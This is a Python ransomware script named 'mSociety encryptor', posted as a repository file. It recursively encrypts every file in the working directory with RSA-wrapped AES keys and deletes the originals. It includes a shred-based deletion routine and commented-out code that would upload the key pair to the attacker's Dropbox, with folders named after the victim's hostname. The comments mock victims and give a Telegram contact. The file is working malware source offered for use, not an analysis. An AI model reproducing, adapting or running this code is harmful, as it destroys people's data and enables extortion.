mSociety/mSociety00.dat
anonymous 5bf683ec71 Upload files to ''
mSociety encryptor script ( writed by python )
2024-06-21 12:40:08 +02:00

293 lines
9.4 KiB
Python

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# -------------------------------------------------
# importing libs
# -------------------------------------------------
import os,sys
import threading
# if have error run bellow command
# pip install pycrypto
from Crypto.PublicKey import RSA
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES, PKCS1_OAEP
import base64, socket
# -------------------------------------------------
### (( if need upload keys to drop box de-comment bellow lines )) ###
# -------------------------------------------------
# try:
# import dropbox
# from dropbox.files import WriteMode
# from dropbox.exceptions import ApiError, AuthError
# except (ImportWarning, ImportError):
# print ("-"*50)
# print("installing libraries ...")
# print ("-"*50)
# os.system("python3 -m pip install dropbox")
# try:
# from requests import get, post
# except (ImportWarning, ImportError):
# print ("-"*50)
# print("installing libraries ...")
# print ("-"*50)
# os.system("python3 -m pip install requests")
# try:
# print ("check internet ...")
# get('https://github.com/c4ssif3r')
# print ("success ✓")
# except:
# sys.exit("cant connect to internet !")
# -------------------------------------------------
# get user uname for create a foder on drop box
# -------------------------------------------------
try:
ID = os.uname()[1]+"-"+os.uname()[2]
except:
ID = socket.gethostname()+"-"+os.getlogin() #socket.gethostname()
if ID:
pass
else:
ID = socket.gethostname()
# -------------------------------------------------
# keys . keys that created by mSociety encryptor tool .
# -------------------------------------------------
LOCALFILES = ['private.pem', 'public.pem']
# -------------------------------------------------
# this for drop box ! (create folder for each targets)
BACKUPPATHS = [f'/{ID}/private.pem', f'/{ID}/public.pem']
# -------------------------------------------------
# refresh drop box token automatically .
# -------------------------------------------------
# def refresh_token():
# '''
# do > token refresher function
# requirements > cookie of your account, referer'''
# # -------------------------------------------------
# url = 'https://www.dropbox.com/developers/apps/generate_access_token'
# cookie = 'your cookie here'
# payload = 's_xhr=true&t=bucZ1QoMeaV5EPyp0VCW8M&app_id=250099' # your drop box token .
# headers = {
# "Host": "www.dropbox.com",
# "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0",
# "Accept": "*/*",
# "Accept-Language": "en-US,en;q=0.5",
# "Accept-Encoding": "gzip, deflate, br",
# "Referer": "https://www.dropbox.com/developers/apps/info/e49u7xfeuksbvwt",
# "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
# "X-Dropbox-Client-Yaps-Attribution": "atlasservlet.api_developers-live:prod-pdx",
# "Content-Length": str(len(payload)),
# "Origin": "https://www.dropbox.com",
# "Connection": "keep-alive",
# "Cookie": cookie,
# "Sec-Fetch-Dest": "empty",
# "Sec-Fetch-Mode": "cors",
# "Sec-Fetch-Site": "same-origin"}
# return post(url, headers=headers, data=payload).json()["token"]
# -------------------------------------------------
# get and save token
# -------------------------------------------------
#_________YOU CAN SET TOKEN MAUALLY !_______
# TOKEN = refresh_token() # OR 'your token'
# dbx = dropbox.Dropbox(TOKEN)
# try:
# dbx.users_get_current_account()
# except AuthError as err:
# sys.exit("CANT ACCESS . ERR.")
# TOKEN = refresh_token()
# print (TOKEN)
#try:
# dbx = dropbox.Dropbox(TOKEN)
# dbx.users_get_current_account()
#except AuthError as err: sys.exit("token Err")
# -------------------------------------------------
# this func upload your keys to your dropBox account!
# -------------------------------------------------
# def iLoveYou():
# '''
# this loves you :)
# like > mojia loves you.
# do > this function upload your keys to your drop box account. '''
# for local_file, backup_path in zip(LOCALFILES, BACKUPPATHS):
# with open(local_file, 'rb') as f:
# # print(f"Uploading {local_file} to Dropbox as {backup_path}...")
# try:
# dbx.files_upload(f.read(), backup_path, mode=WriteMode('overwrite'))
# except ApiError as err:
# if (err.error.is_path() and err.error.get_path().error.is_insufficient_space()):
# sys.exit("ERROR: space.")
# elif err.user_message_text:
# # print(err.user_message_text)
# sys.exit("cant access to main server. ")
# else:
# # print(err)
# sys.exit("global err. contact to NEFERIAN (MOJIA) and then report this problem (˘・_・˘)")
# -------------------------------------------------
# ignore files ( files on this list never encrypted! )
# -------------------------------------------------
excluded_files = ['private.pem', 'public.pem','mSociety00.dat','mSociety00.dat.py']
# -------------------------------------------------
encrypted_files = set()
# -------------------------------------------------
# mSociety Encryptor > fuck off anythings
# -------------------------------------------------
def mSocietyCryptor(file_path, public_key, custom_extension):
'''
well well well XD
this is a fucking functioin
do > envrypt and then replace (delete) real files !
fuck your 127.0.0.1 with this !
important > if you dont have keys *(you can not NEVER DE-CRYPT YOUR FUCKING DATA!)*'''
with open(file_path, 'rb') as f:
original_data = f.read()
session_key = get_random_bytes(16)
cipher_rsa = PKCS1_OAEP.new(public_key)
enc_session_key = cipher_rsa.encrypt(session_key)
cipher_aes = AES.new(session_key, AES.MODE_EAX)
ciphertext, tag = cipher_aes.encrypt_and_digest(original_data)
enc_file_path = file_path + custom_extension
with open(enc_file_path, 'wb') as f:
for x in (enc_session_key, cipher_aes.nonce, tag, ciphertext):
f.write(x)
os.remove(file_path)
encrypted_files.add(file_path)
# -------------------------------------------------
# create threads for fasting encryption for each Folder and File.
# -------------------------------------------------
def mSocietyWorker(directory_path, public_key, custom_extension):
threads = []
for root, dirs, files in os.walk(directory_path):
for file in files:
if not file.endswith(custom_extension) and file not in excluded_files and file not in encrypted_files:
file_path = os.path.join(root, file)
t = threading.Thread(target=mSocietyCryptor, args=(file_path, public_key, custom_extension))
t.start()
threads.append(t)
for t in threads:
t.join()
# -------------------------------------------------
# delete files with shred if cant delete use os.remove()
# -------------------------------------------------
def shreder(file_):
'''
delete files with shred ! if cant delete ? delete with os.remove()
shred > is very good for delete files without recovery !
(pwn your home)'''
try:
os.system(f"shred -uxzn5 {file_}")
except:
os.remove(file_)
if __name__ == '__main__':
if not os.path.exists('private.pem') or not os.path.exists('public.pem'):
# -------------------------------------------------
# create keys if not exist .
# -------------------------------------------------
key = RSA.generate(2048)
private_key = key.export_key()
public_key = key.publickey().export_key()
with open('private.pem', 'wb') as f:
f.write(private_key)
with open('public.pem', 'wb') as f:
f.write(public_key)
else:
public_key = RSA.import_key(open('public.pem').read())
# -------------------------------------------------
# if you want your keys upload to drop box uncomment bellow codes
# -------------------------------------------------
# try:iLoveYou() # keys uploader function
# except:pass
current_directory = os.getcwd()
public_key = RSA.import_key(open('public.pem').read())
mSocietyWorker(current_directory, public_key, '.mSociety00')
try:
# this delete your keys !!!!
'''
very IMPORTANT > IF UNCOMMENT THIS LINES
YOUR PRIVATE AND PUBLIC KEYS DELETING
AND YOU NEVER CAN DE-CRYPT YOUR FILES
TAKE CARE !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
IF YOU DONT HAVE KEYS
PLZ CRY IN MY TELEGRAM DM > (mSociety leader) @iranPwner XD'''
# -------------------------------------------------
# are you sure uncomment this lines ?
# -------------------------------------------------
# shreder('private.pem')
# shreder('public.pem')
except: pass
# -------------------------------------------------
# giving to you thanks for fucking XD ↓
# -------------------------------------------------
finally: print("THANK YOU B-COZ RUN mSociety00.dat (╯▽╰ )")